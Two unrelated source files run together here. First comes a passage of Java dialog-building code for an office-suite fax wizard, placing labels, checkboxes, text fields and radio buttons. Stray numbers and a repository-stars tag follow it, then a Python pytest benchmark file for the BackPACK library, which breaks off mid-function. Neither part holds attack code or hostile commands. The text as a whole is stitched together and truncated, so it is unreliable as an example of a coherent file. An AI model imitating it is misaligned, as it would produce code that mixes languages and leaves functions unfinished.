PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblBusinessStyle_value, 110, 42, INTEGERS[1], new Short((short) 32), 60 }); lblTitle1 = insertLabel("lblTitle1", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor5, INTEGER_16, resources.reslblTitle1_value, Boolean.TRUE, 91, INTEGERS[8], INTEGERS[1], new Short((short) 37), 212 }); lblPrivateStyle = insertLabel("lblPrivateStyle", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblPrivateStyle_value, 110, 95, INTEGERS[1], new Short((short) 50), 60 }); lblIntroduction = insertLabel("lblIntroduction", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { 39, resources.reslblIntroduction_value, Boolean.TRUE, 104, 145, INTEGERS[1], new Short((short) 55), 199 }); ImageControl3 = insertInfoImage(92, 145, 1); // ImageControl3 = insertImage("ImageControl3", // new String[] {PropertyNames.PROPERTY_BORDER, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_IMAGEURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, "ScaleImage", PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH}, // new Object[] { new Short((short)0),INTEGERS[10],"private:resource/dbu/image/19205",92,145,Boolean.FALSE,INTEGERS[1],new Short((short)56),INTEGERS[10]} // ); } public void buildStep2() { chkUseLogo = insertCheckBox("chkUseLogo", CHKUSELOGO_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSELOGO_HID, resources.reschkUseLogo_value, 97, 28, new Short((short) 0), INTEGERS[2], new Short((short) 5), 212 }); chkUseDate = insertCheckBox("chkUseDate", CHKUSEDATE_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSEDATE_HID, resources.reschkUseDate_value, 97, 43, new Short((short) 0), INTEGERS[2], new Short((short) 6), 212 }); chkUseCommunicationType = insertCheckBox("chkUseCommunicationType", CHKUSECOMMUNICATIONTYPE_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSECOMMUNICATIONTYPE_HID, resources.reschkUseCommunicationType_value, 97, 57, new Short((short) 0), INTEGERS[2], new Short((short) 7), 100 }); lstCommunicationType = insertComboBox("lstCommunicationType", LSTCOMMUNICATIONTYPE_ACTION_PERFORMED, LSTCOMMUNICATIONTYPE_ITEM_CHANGED, LSTCOMMUNICATIONTYPE_TEXT_CHANGED, new String[] { "Dropdown", PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, INTEGER_12, LSTCOMMUNICATIONTYPE_HID, 105, 68, INTEGERS[2], new Short((short) 8), 174 }); chkUseSubject = insertCheckBox("chkUseSubject", CHKUSESUBJECT_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSESUBJECT_HID, resources.reschkUseSubject_value, 97, 87, new Short((short) 0), INTEGERS[2], new Short((short) 9), 212 }); chkUseSalutation = insertCheckBox("chkUseSalutation", CHKUSESALUTATION_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSESALUTATION_HID, resources.reschkUseSalutation_value, 97, 102, new Short((short) 0), INTEGERS[2], new Short((short) 10), 100 }); lstSalutation = insertComboBox("lstSalutation", LSTSALUTATION_ACTION_PERFORMED, LSTSALUTATION_ITEM_CHANGED, LSTSALUTATION_TEXT_CHANGED, new String[] { "Dropdown", PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, INTEGER_12, LSTSALUTATION_HID, 105, 113, INTEGERS[2], new Short((short) 11), 174 }); chkUseGreeting = insertCheckBox("chkUseGreeting", CHKUSEGREETING_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSEGREETING_HID, resources.reschkUseGreeting_value, 97, 132, new Short((short) 0), INTEGERS[2], new Short((short) 12), 100 }); lstGreeting = insertComboBox("lstGreeting", LSTGREETING_ACTION_PERFORMED, LSTGREETING_ITEM_CHANGED, LSTGREETING_TEXT_CHANGED, new String[] { "Dropdown", PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { Boolean.TRUE, INTEGER_12, LSTGREETING_HID, 105, 143, INTEGERS[2], new Short((short) 13), 174 }); chkUseFooter = insertCheckBox("chkUseFooter", CHKUSEFOOTER_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKUSEFOOTER_HID, resources.reschkUseFooter_value, 97, 163, new Short((short) 0), INTEGERS[2], new Short((short) 14), 212 }); lblTitle3 = insertLabel("lblTitle3", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor5, INTEGER_16, resources.reslblTitle3_value, Boolean.TRUE, 91, INTEGERS[8], INTEGERS[2], new Short((short) 59), 212 }); } public void buildStep3() { optSenderPlaceholder = insertRadioButton("optSenderPlaceholder", OPTSENDERPLACEHOLDER_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTSENDERPLACEHOLDER_HID, resources.resoptSenderPlaceholder_value, 104, 42, INTEGERS[3], new Short((short) 15), 149 }); optSenderDefine = insertRadioButton("optSenderDefine", OPTSENDERDEFINE_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTSENDERDEFINE_HID, resources.resoptSenderDefine_value, 104, 54, INTEGERS[3], new Short((short) 16), 149 }); txtSenderName = insertTextField("txtSenderName", TXTSENDERNAME_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERNAME_HID, 182, 67, INTEGERS[3], new Short((short) 17), 119 }); txtSenderStreet = insertTextField("txtSenderStreet", TXTSENDERSTREET_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERSTREET_HID, 182, 81, INTEGERS[3], new Short((short) 18), 119 }); txtSenderPostCode = insertTextField("txtSenderPostCode", TXTSENDERPOSTCODE_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERPOSTCODE_HID, 182, 95, INTEGERS[3], new Short((short) 19), 25 }); txtSenderState = insertTextField("txtSenderState", TXTSENDERSTATE_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERSTATE_HID, 211, 95, INTEGERS[3], new Short((short) 20), 21 }); txtSenderCity = insertTextField("txtSenderCity", TXTSENDERCITY_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERCITY_HID, 236, 95, INTEGERS[3], new Short((short) 21), 65 }); txtSenderFax = insertTextField("txtSenderFax", TXTSENDERFAX_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTSENDERFAX_HID, 182, 109, INTEGERS[3], new Short((short) 22), 119 }); optReceiverPlaceholder = insertRadioButton("optReceiverPlaceholder", OPTRECEIVERPLACEHOLDER_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTRECEIVERPLACEHOLDER_HID, resources.resoptReceiverPlaceholder_value, 104, 148, INTEGERS[3], new Short((short) 23), 200 }); optReceiverDatabase = insertRadioButton("optReceiverDatabase", OPTRECEIVERDATABASE_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTRECEIVERDATABASE_HID, resources.resoptReceiverDatabase_value, 104, 160, INTEGERS[3], new Short((short) 24), 200 }); lblSenderAddress = insertLabel("lblSenderAddress", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblSenderAddress_value, 97, 28, INTEGERS[3], new Short((short) 46), 136 }); FixedLine2 = insertFixedLine("FixedLine2", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[5], 90, 126, INTEGERS[3], new Short((short) 51), 212 }); lblSenderName = insertLabel("lblSenderName", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblSenderName_value, 113, 69, INTEGERS[3], new Short((short) 52), 68 }); lblSenderStreet = insertLabel("lblSenderStreet", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblSenderStreet_value, 113, 82, INTEGERS[3], new Short((short) 53), 68 }); lblPostCodeCity = insertLabel("lblPostCodeCity", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblPostCodeCity_value, 113, 97, INTEGERS[3], new Short((short) 54), 68 }); lblTitle4 = insertLabel("lblTitle4", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor5, INTEGER_16, resources.reslblTitle4_value, Boolean.TRUE, 91, INTEGERS[8], INTEGERS[3], new Short((short) 60), 212 }); Label1 = insertLabel("lblSenderFax", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.resLabel1_value, 113, 111, INTEGERS[3], new Short((short) 68), 68 }); Label2 = insertLabel("Label2", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.resLabel2_value, 97, 137, INTEGERS[3], new Short((short) 69), 136 }); } public void buildStep4() { txtFooter = insertTextField("txtFooter", TXTFOOTER_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { 47, TXTFOOTER_HID, Boolean.TRUE, 97, INTEGER_40, INTEGERS[4], new Short((short) 25), 203 }); chkFooterNextPages = insertCheckBox("chkFooterNextPages", CHKFOOTERNEXTPAGES_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKFOOTERNEXTPAGES_HID, resources.reschkFooterNextPages_value, 97, 92, new Short((short) 0), INTEGERS[4], new Short((short) 26), 202 }); chkFooterPageNumbers = insertCheckBox("chkFooterPageNumbers", CHKFOOTERPAGENUMBERS_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STATE, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], CHKFOOTERPAGENUMBERS_HID, resources.reschkFooterPageNumbers_value, 97, 106, new Short((short) 0), INTEGERS[4], new Short((short) 27), 201 }); lblFooter = insertLabel("lblFooter", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor4, INTEGERS[8], resources.reslblFooter_value, 97, 28, INTEGERS[4], new Short((short) 33), 116 }); lblTitle5 = insertLabel("lblTitle5", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor5, INTEGER_16, resources.reslblTitle5_value, Boolean.TRUE, 91, INTEGERS[8], INTEGERS[4], new Short((short) 61), 212 }); } public void buildStep5() { txtTemplateName = insertTextField("txtTemplateName", TXTTEMPLATENAME_TEXT_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, "Text", PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGER_12, TXTTEMPLATENAME_HID, 202, 56, INTEGERS[5], new Short((short) 28), resources.restxtTemplateName_value, 100 }); /* fileTemplatePath = insertFileControl("fileTemplatePath", FILETEMPLATEPATH_TEXT_CHANGED, new String[] {PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH}, new Object[] { INTEGER_12,FILETEMPLATEPATH_HID,172,74,INTEGERS[5],new Short((short)29),130} ); */ optCreateFax = insertRadioButton("optCreateFax", OPTCREATEFAX_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTCREATEFAX_HID, resources.resoptCreateFax_value, 104, 111, INTEGERS[5], new Short((short) 30), 198 }); optMakeChanges = insertRadioButton("optMakeChanges", OPTMAKECHANGES_ITEM_CHANGED, new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_HELPURL, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], OPTMAKECHANGES_HID, resources.resoptMakeChanges_value, 104, 123, INTEGERS[5], new Short((short) 31), 198 }); lblFinalExplanation1 = insertLabel("lblFinalExplanation1", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { 28, resources.reslblFinalExplanation1_value, Boolean.TRUE, 97, 28, INTEGERS[5], new Short((short) 34), 205 }); lblProceed = insertLabel("lblProceed", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblProceed_value, 97, 100, INTEGERS[5], new Short((short) 35), 204 }); lblFinalExplanation2 = insertLabel("lblFinalExplanation2", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { 33, resources.reslblFinalExplanation2_value, Boolean.TRUE, 104, 145, INTEGERS[5], new Short((short) 36), 199 }); ImageControl2 = insertImage("ImageControl2", new String[] { PropertyNames.PROPERTY_BORDER, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_IMAGEURL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, "ScaleImage", PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { new Short((short) 0), INTEGERS[10], "private:resource/dbu/image/19205", 92, 145, Boolean.FALSE, INTEGERS[5], new Short((short) 47), INTEGERS[10] }); lblTemplateName = insertLabel("lblTemplateName", new String[] { PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { INTEGERS[8], resources.reslblTemplateName_value, 97, 58, INTEGERS[5], new Short((short) 57), 101 }); /* lblTemplatePath = insertLabel("lblTemplatePath", new String[] {PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH}, new Object[] { INTEGERS[8],resources.reslblTemplatePath_value,97,77,INTEGERS[5],new Short((short)58),71} ); */ lblTitle6 = insertLabel("lblTitle6", new String[] { PropertyNames.FONT_DESCRIPTOR, PropertyNames.PROPERTY_HEIGHT, PropertyNames.PROPERTY_LABEL, PropertyNames.PROPERTY_MULTILINE, PropertyNames.PROPERTY_POSITION_X, PropertyNames.PROPERTY_POSITION_Y, PropertyNames.PROPERTY_STEP, PropertyNames.PROPERTY_TABINDEX, PropertyNames.PROPERTY_WIDTH }, new Object[] { fontDescriptor5, INTEGER_16, resources.reslblTitle6_value, Boolean.TRUE, 91, INTEGERS[8], INTEGERS[5], new Short((short) 62), 212 }); } }
17,979
395
<gh_stars>100-1000 import pytest import torch from backpack import extend from ..implementation.implementation_autograd import AutogradImpl from ..implementation.implementation_bpext import BpextImpl from ..test_problem import TestProblem def make_large_linear_classification_problem(): Ds = [784, 512, 256, 64, 10] model = torch.nn.Sequential( extend(torch.nn.Linear(Ds[0], Ds[1])), extend(torch.nn.Sigmoid()), extend(torch.nn.Linear(Ds[1], Ds[2])), extend(torch.nn.Sigmoid()), extend(torch.nn.Linear(Ds[2], Ds[3])), extend(torch.nn.Sigmoid()), extend(torch.nn.Linear(Ds[3], Ds[-1])), ) N = 128 X = torch.randn(size=(N, Ds[0])) Y = torch.randint(high=Ds[-1], size=(N,)) lossfunc = extend(torch.nn.CrossEntropyLoss()) return TestProblem(X, Y, model, lossfunc) def make_smallest_linear_classification_problem(): Ds = [16, 8, 3] model = torch.nn.Sequential( extend(torch.nn.Linear(Ds[0], Ds[1])), extend(torch.nn.Sigmoid()), extend(torch.nn.Linear(Ds[1], Ds[2])), ) N = 16 X = torch.randn(size=(N, Ds[0])) Y = torch.randint(high=Ds[-1], size=(N,)) lossfunc = extend(torch.nn.CrossEntropyLoss()) return TestProblem(X, Y, model, lossfunc) def make_small_linear_classification_problem(): Ds = [32, 16, 4] model = torch.nn.Sequential( extend(torch.nn.Linear(Ds[0], Ds[1])), extend(torch.nn.Sigmoid()), extend(torch.nn.Linear(Ds[1], Ds[2])), ) N = 32 X = torch.randn(size=(N, Ds[0])) Y = torch.randint(high=Ds[-1], size=(N,)) lossfunc = extend(torch.nn.CrossEntropyLoss()) return TestProblem(X, Y, model, lossfunc) TEST_PROBLEMS = { "large": make_large_linear_classification_problem(), "smallest": make_smallest_linear_classification_problem(), "small": make_small_linear_classification_problem(), } ALL_CONFIGURATIONS = [] CONFIGURATION_IDS = [] for probname, prob in reversed(list(TEST_PROBLEMS.items())): ALL_CONFIGURATIONS.append((prob, AutogradImpl)) CONFIGURATION_IDS.append(probname + "-autograd") ALL_CONFIGURATIONS.append((prob, BpextImpl)) CONFIGURATION_IDS.append(probname + "-bpext") @pytest.mark.parametrize("problem,impl", ALL_CONFIGURATIONS, ids=CONFIGURATION_IDS) def test_diag_ggn(problem, impl, tmp_path, benchmark): if "large_autograd" in str(tmp_path): pytest.skip() benchmark(impl(problem).diag_ggn) @pytest.mark.parametrize("problem,impl", ALL_CONFIGURATIONS, ids=CONFIGURATION_IDS) def test_sgs(problem, impl, benchmark): benchmark(impl(problem).sgs) @pytest.mark.parametrize("problem,impl", ALL_CONFIGURATIONS, ids=CONFIGURATION_IDS) def test_batch_gradients(problem, impl, 